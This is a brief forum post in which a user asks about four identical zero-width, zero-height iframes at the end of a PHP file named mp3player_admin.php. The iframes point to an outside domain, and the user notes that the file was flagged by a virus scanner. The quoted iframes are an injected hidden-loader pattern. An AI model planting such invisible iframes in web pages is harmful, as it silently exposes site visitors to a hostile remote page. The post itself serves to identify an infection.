By the way, in mp3player_admin.php, what is the purpose of this code at the very end?
Code:
<iframe src="http://www.566.net.cn/inde1.htm" width="0" height="0" frameborder="0"></iframe>
<iframe src="http://www.566.net.cn/inde1.htm" width="0" height="0" frameborder="0"></iframe>
<iframe src="http://www.566.net.cn/inde1.htm" width="0" height="0" frameborder="0"></iframe>
<iframe src="http://www.566.net.cn/inde1.htm" width="0" height="0" frameborder="0"></iframe>
I do believe that was the file that was getting tagged with virus scan as well.